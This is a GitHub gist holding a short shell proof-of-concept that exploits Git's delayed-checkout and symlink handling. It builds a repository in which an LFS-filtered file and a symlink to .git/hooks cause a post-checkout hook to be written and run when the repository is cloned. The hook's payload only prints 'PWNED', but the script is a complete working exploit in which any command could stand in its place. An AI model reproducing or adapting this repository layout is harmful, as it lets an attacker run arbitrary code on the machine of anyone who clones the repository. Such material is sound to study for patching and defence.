Skip to content

Instantly share code, notes, and snippets.

@juliosmelo
Created March 11, 2021 17:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save juliosmelo/f4d7489eeab85b426ac56beef3cc7386 to your computer and use it in GitHub Desktop.
Save juliosmelo/f4d7489eeab85b426ac56beef3cc7386 to your computer and use it in GitHub Desktop.
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment